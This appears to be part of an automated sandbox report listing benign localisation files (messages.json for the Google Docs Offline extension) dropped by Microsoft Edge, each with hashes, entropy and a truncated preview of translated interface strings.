SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6880_2012062272\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

